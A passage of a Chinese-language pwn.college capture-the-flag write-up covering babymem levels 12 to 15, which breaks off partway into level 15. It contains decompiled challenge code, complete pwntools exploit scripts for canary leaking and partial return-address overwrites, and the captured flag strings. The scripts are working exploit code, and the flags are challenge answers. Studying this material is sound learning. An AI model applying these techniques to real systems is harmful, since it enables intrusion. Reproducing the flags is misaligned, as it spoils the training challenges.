      v3 = __errno_location();
      v4 = strerror(*v3);
      printf(&quot;\n  ERROR: Failed to read the flag -- %s!\n&quot;, v4);
      exit(-1);
    }
    write(1, &amp;amp;flag_5714, flag_length_5716);
    puts(&quot;\n&quot;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当时这题困扰住我的倒不是如何构造攻击链的问题，而是写 exp 的问题……脑子抽了企图在 &lt;code&gt;return challenge(v9, v8, v7);&lt;/code&gt; 这里返回到 &lt;code&gt;win_authed&lt;/code&gt;，但是这是写死在代码段的，而且权限是 &lt;code&gt;r-xp&lt;/code&gt;，小小栈溢出岂能覆盖？后来发现整体思路还少了一步，应该是先触发一次后门泄漏 canary，然后第二次执行的时候就不需要触发后门了，直接覆盖 &lt;code&gt;challenge&lt;/code&gt; 的返回地址就好了。&lt;/p&gt;
&lt;p&gt;随便扯两句心里话吧。踩了不少坑，希望以后可以争取做到更严谨完善的分析。还有就是动态调试很重要哦～感觉自己多少还是有一点调试恐惧症 LMAO&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-12-0&quot;
HOST, PORT = &quot;pwn.college&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+1339
b *challenge+1821
c
&quot;&quot;&quot;


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b&quot;REPEAT &quot;
backdoor_trigger = b&quot;&quot;.ljust(0x12, b&quot;A&quot;) + backdoor
padding_to_canary = b&quot;&quot;.ljust(0x18, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = b&quot;\xe0&quot;
possible_bytes = [bytes([i]) for i in range(0x03, 0x103, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}&quot;)

        return canary
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        target = launch()

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success(&quot;Success! Exiting...&quot;)

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f&quot;An error occurred in main loop: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{YkuEQhg7aejOObKgMu4MNlIgI-S.0VMxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 12.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样啊，不说了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-12-1&quot;
HOST, PORT = &quot;pwn.college&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+298
c
&quot;&quot;&quot;


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b&quot;REPEAT &quot;
backdoor_trigger = b&quot;&quot;.ljust(0x82, b&quot;A&quot;) + backdoor
padding_to_canary = b&quot;&quot;.ljust(0x88, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = b&quot;\xcd&quot;
possible_bytes = [bytes([i]) for i in range(0x03, 0x103, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}&quot;)

        return canary
    except Exception as e:
log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    while True:
        target = launch()

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success(&quot;Success! Exiting...&quot;)

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f&quot;An error occurred in main loop: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Q8RGfsaRLXQyi0mLIgR3c7-_jYK.0lMxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 13.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leak data left behind unintentionally by utilizing clever payload construction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int verify_flag()
{
  int v0; // eax
  _BYTE v2[279]; // [rsp+79h] [rbp-117h] BYREF

  *(_QWORD *)&amp;amp;v2[271] = __readfsqword(0x28u);
  v0 = open(&quot;/flag&quot;, 0);
  read(v0, v2, 0x100uLL);
  puts(
    &quot;This challenge reads the flag file to verify it. Do you think this might leave traces of the flag around afterwards?\n&quot;);
  return printf(&quot;The flag was read into address %p.\n\n&quot;, v2);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题没啥好说的吧，完全就是 &lt;code&gt;verify_flag&lt;/code&gt; 把 &lt;code&gt;flag&lt;/code&gt; 读到栈上了，然后我们用垃圾数据填充到 &lt;code&gt;flag&lt;/code&gt; 头就好了，&lt;code&gt;printf(&quot;You said: %.360s\n&quot;, (const char *)buf);&lt;/code&gt; 会输出一切……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-13-0&quot;
HOST, PORT = &quot;pwn.college&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *verify_flag+75
b *challenge+1429
b *challenge+1932
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_flag = b&quot;&quot;.ljust(0x59, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    payload = padding_to_flag

    return payload


def leak_flag(target, payload):
    try:
        send_payload(target, payload)

        target.recvuntil(b&quot;pwn.college{&quot;)

        flag = b&quot;pwn.college{&quot; + target.recvuntil(b&quot;}&quot;)

        log.success(f&quot;Flag successfully leaked: {flag}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing leak_flag: {e}&quot;)


def main():
    target = launch(debug=False)

    payload = construct_payload()

    leak_flag(target, payload)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{YkKrgg8qd3Vyt4OOrpBqwsAEJ2g.01MxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 13.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leak data left behind unintentionally by utilizing clever payload construction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样，重新计算一下偏移就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-13-1&quot;
HOST, PORT = &quot;pwn.college&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *verify_flag+75
b *challenge+168
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_flag = b&quot;&quot;.ljust(0x8A, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    payload = padding_to_flag

    return payload


def leak_flag(target, payload):
    try:
        send_payload(target, payload)

        target.recvuntil(b&quot;pwn.college{&quot;)

        flag = b&quot;pwn.college{&quot; + target.recvuntil(b&quot;}&quot;)

        log.success(f&quot;Flag successfully leaked: {flag}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing leak_flag: {e}&quot;)


def main():
    target = launch(debug=False)

    payload = construct_payload()

    leak_flag(target, payload)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{gscSxVngZ4uaJ8tU3A-fhqwrLIM.0FNxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 14.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leak data left behind unintentionally to defeat a stack canary in a PIE binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  __int64 v6; // [rsp+0h] [rbp-1E0h] BYREF
  __int64 v7; // [rsp+8h] [rbp-1D8h]
  __int64 v8; // [rsp+10h] [rbp-1D0h]
  unsigned int v9; // [rsp+1Ch] [rbp-1C4h]
  int v10; // [rsp+2Ch] [rbp-1B4h]
  size_t nbytes; // [rsp+30h] [rbp-1B0h] BYREF
  void *buf; // [rsp+38h] [rbp-1A8h]
  char v13; // [rsp+40h] [rbp-1A0h] BYREF
  unsigned __int64 v14; // [rsp+1D8h] [rbp-8h]
  __int64 savedregs; // [rsp+1E0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+1E8h] [rbp+8h] BYREF

  v9 = a1;
  v8 = a2;
  v7 = a3;
  v14 = __readfsqword(0x28u);
  buf = &amp;amp;v13;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  puts(&quot;However... An important initialization step was missed.&quot;);
  puts(&quot;Use this to your advantage!&quot;);
  puts(byte_3284);
  sp_ = (__int64)&amp;amp;v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 407);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win_authed() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)buf + 8,
    407);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)buf - 407);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts(&quot;Because the binary is position independent, you cannot know&quot;);
  puts(&quot;exactly where the win_authed() function is located.&quot;);
  puts(&quot;This means that it is not clear what should be written into the return address.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 407);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, nbytes + (_DWORD)buf - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;Overwriting the entire return address is fine when we know&quot;);
  puts(&quot;the whole address, but here, we only really know the last three nibbles.&quot;);
  puts(&quot;These nibbles never change, because pages are aligned to 0x1000.&quot;);
  puts(&quot;This gives us a workaround: we can overwrite the least significant byte&quot;);
  puts(&quot;of the saved return address, which we can know from debugging the binary,&quot;);
  puts(&quot;to retarget the return to main to any instruction that shares the other 7 bytes.&quot;);
  puts(&quot;Since that last byte will be constant between executions (due to page alignment),&quot;);
  puts(&quot;this will always work.&quot;);
  puts(&quot;If the address we want to redirect execution to is a bit farther away from&quot;);
  puts(&quot;the saved return address, and we need to write two bytes, then one of those&quot;);
  puts(&quot;nibbles (the fourth least-significant one) will be a guess, and it will be&quot;);
  puts(&quot;incorrect 15 of 16 times.&quot;);
  puts(&quot;This is okay: we can just run our exploit a few times until it works&quot;);
  puts(&quot;(statistically, ~50% chance after 11 times and ~90% chance after 36 times).&quot;);
  puts(&quot;One caveat in this challenge is that the win_authed() function must first auth:&quot;);
  puts(&quot;it only lets you win if you provide it with the argument 0x1337.&quot;);
  puts(&quot;Speifically, the win_authed() function looks something like:&quot;);
  puts(&quot;    void win_authed(int token)&quot;);
  puts(&quot;    {&quot;);
  puts(&quot;      if (token != 0x1337) return;&quot;);
  puts(&quot;      puts(\&quot;You win! Here is your flag: \&quot;);&quot;);
  puts(&quot;      sendfile(1, open(\&quot;/flag\&quot;, 0), 0, 256);&quot;);
  puts(&quot;      puts(\&quot;\&quot;);&quot;);
  puts(&quot;    }&quot;);
  puts(byte_3284);
  puts(&quot;So how do you pass the check? There *is* a way, and we will cover it later,&quot;);
  puts(&quot;but for now, we will simply bypass it! You can overwrite the return address&quot;);
  puts(&quot;with *any* value (as long as it points to executable code), not just the start&quot;);
  puts(&quot;of functions. Let&apos;s overwrite past the token check in win!\n&quot;);
  puts(&quot;To do this, we will need to analyze the program with objdump, identify where&quot;);
  puts(&quot;the check is in the win_authed() function, find the address right after the check,&quot;);
  puts(&quot;and write that address over the saved return address.\n&quot;);
  puts(&quot;Go ahead and find this address now. When you&apos;re ready, input a buffer overflow&quot;);
  printf(
    &quot;that will overwrite the saved return address (at %p, %d bytes into the buffer)\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  puts(&quot;with the correct value.\n&quot;);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v10);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of win_authed() is %p.\n&quot;, win_authed);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win_authed() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  if ( (unsigned __int64)buf + v10 &amp;gt; rp_ + 2 )
  {
    puts(&quot;WARNING: You sent in too much data, and overwrote more than two bytes of the address.&quot;);
    puts(&quot;         This can still work, because I told you the correct address to use for&quot;);
    puts(&quot;         this execution, but you should not rely on that information.&quot;);
    puts(&quot;         You can solve this challenge by only overwriting two bytes!&quot;);
    puts(&quot;         &quot;);
  }
  printf(&quot;You said: %.407s\n&quot;, (const char *)buf);
  puts(&quot;This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()&quot;);
  puts(&quot;call to see the hidden backdoor!&quot;);
  if ( strstr((const char *)buf, &quot;REPEAT&quot;) )
  {
    puts(&quot;Backdoor triggered! Repeating challenge()&quot;);
    return challenge(v9, v8, v7);
  }
  else
  {
    puts(&quot;Goodbye!&quot;);
    return 0LL;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题就是前面几个 level 的结合体。唯一的不同之处在于，这次 canary 和其它一些数据以残留数据的形式出现在 &lt;code&gt;challenge&lt;/code&gt; 创建的栈帧内部，我们只要把这个残留的 canary 泄漏出来就好了。至于 &lt;code&gt;challenge&lt;/code&gt; 本身的 canary，我们泄漏不了。所以其实出题人的本意就是想让我们泄漏栈上的残留数据，为此对泄漏 &lt;code&gt;challenge&lt;/code&gt; 原本的 canary 的途径做了限制。&lt;/p&gt;
&lt;p&gt;至于我是如何发现残留数据这一事实的，是通过动态调试，凭借对 canary 敏锐的洞察力发现的 LMAO。咱就是说对数据的敏感度也很重要哦～&lt;/p&gt;
&lt;p&gt;为了避免这种残留数据/栈帧复用的问题，我们每次分配完栈空间后都应该通过类似 &lt;code&gt;memset&lt;/code&gt; 的方法清空栈内容才对。所以，如果没有 &lt;code&gt;memset&lt;/code&gt; 的，就可以想想会不会有泄漏残留数据的可能了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-14-0&quot;
HOST, PORT = &quot;pwn.college&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b&quot;REPEAT &quot;
backdoor_trigger = b&quot;&quot;.ljust(0x82, b&quot;A&quot;) + backdoor
padding_to_canary = b&quot;&quot;.ljust(0x198, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = b&quot;\xd4&quot;
possible_bytes = [bytes([i]) for i in range(0xF, 0x10F, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}&quot;)

        return canary
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing leak_flag: {e}&quot;)


def main():
    while True:
        target = launch(debug=False)

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success(&quot;Success! Exiting...&quot;)

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f&quot;An error occurred in main loop: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{chm7VMiV6dZ3oBKDhVUhtvXg3kb.0VNxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 14.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leak data left behind unintentionally to defeat a stack canary in a PIE binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样，重新找一下偏移和返回地址就好啦。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-14-1&quot;
HOST, PORT = &quot;pwn.college&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+168
c
&quot;&quot;&quot;


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b&quot;REPEAT &quot;
backdoor_trigger = b&quot;&quot;.ljust(0x72, b&quot;A&quot;) + backdoor
padding_to_canary = b&quot;&quot;.ljust(0x188, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = b&quot;\x7d&quot;
possible_bytes = [bytes([i]) for i in range(0x8, 0x108, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()

        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)
        target.sendafter(b&quot;Send your payload&quot;, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}&quot;)

        return canary
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b&quot;You win!&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing leak_flag: {e}&quot;)


def main():
    while True:
        target = launch(debug=False)

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success(&quot;Success! Exiting...&quot;)

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f&quot;An error occurred in main loop: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{E_7686TOh__Z7NZeXfOPaMP5YfJ.0lNxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 15.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  int optval; // [rsp+24h] [rbp-101Ch] BYREF
  int fd; // [rsp+28h] [rbp-1018h]
  int v7; // [rsp+2Ch] [rbp-1014h]
  sockaddr addr; // [rsp+30h] [rbp-1010h] BYREF
  unsigned __int64 v9; // [rsp+1038h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(&quot;This challenge is listening for connections on TCP port 1337.\n&quot;);
  puts(&quot;The challenge supports unlimited sequential connections.\n&quot;);
  fd = socket(2, 1, 0);
  optval = 1;
  setsockopt(fd, 1, 2, &amp;amp;optval, 4u);
  addr.sa_family = 2;
